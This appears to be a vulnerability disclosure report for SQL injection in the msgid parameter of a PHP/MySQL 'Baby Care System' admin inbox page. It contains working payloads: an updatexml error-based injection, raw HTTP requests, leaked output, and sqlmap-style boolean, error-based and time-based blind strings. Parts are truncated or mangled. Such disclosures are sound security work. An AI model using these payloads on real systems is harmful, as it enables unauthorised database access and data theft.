

main ▾

...

bug_report / vendors / janobe / baby-care-system / SQLi-9.md



debug601 Create SQLi-9.md

History

1 contributor

44 lines (34 sloc) | 2.13 KB

...

Body Care System has SQL injection vulnerability

vendor: <https://www.sourcecodester.com/php/14622/baby-care-system-phpmysql-full-source-code.html>

Vulnerability file: /BabyCare/admin/inbox.php?action=read&msgid=

```
<td>
<?php if($result['status'] == 0){ ?>
  <a href="admin.php?id=inbox&action=read&msgid=<?php echo $result['id']; ?>" type="button" class="btn btn-default">Read</a>
<?php ?>
  <a href="admin.php?id=inbox&action=read&msgid=<?php echo $result['id']; ?>" type="button" class="btn btn-success">Replay</a>
```

Vulnerability location: /BabyCare/admin.php?id=inbox&action=read&msgid=11 //msgid is Injection point

[+]Payload: /BabyCare/admin.php?

id=inbox&action=read&msgid=11%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),2)--+ //msgid is Injection point

```
GET /BabyCare/admin.php?id=inbox&action=read&msgid=11%27%20and%20updatexml(1,concat(
Host: 192.168.1.19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
```

Cookie: PHPSESSID=h48mjnelp4g0935821l2k3g5ne

Connection: close

```
GET /BabyCare/admin.php?id=inbox&action=read&msgid=11%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),2)---+
HTTP/1.1
Host: 192.168.1.19
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=
```

```
<table
class="table-bordered"
style="width:100%;">

style='color:#024;text-align:cent
er;'>No New Message</p>

</table>

</div>

</div>
```

XPATCH syntax error:
'~sourcecodester_babycare~'47

Parameter: msgid (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=inbox&action=read&msgid=11' AND 4681=4681 AND 'xjEi'='xjEi

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: id=inbox&action=read&msgid=11' AND (SELECT 9382 FROM(SELECT COUNT(*),CO

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=inbox&action=read&msgid=11' AND (SELECT 7228 FROM (SELECT(SLEEP(5))))

```
Parameter: msgid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=inbox&action=read&msgid=11' AND 4681=4681 AND 'xjEi'='xjEi

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=inbox&action=read&msgid=11' AND (SELECT 9382 FROM(SELECT COUNT(*),CONCAT(0x716b707871,(SELECT (ELT(9382=9382,1))),0x7178787071,FLOOR(RAN
2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'TmLF'='TmLF

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=inbox&action=read&msgid=11' AND (SELECT 7228 FROM (SELECT(SLEEP(5)))cyYg) AND 'PNfI'='PNfI
```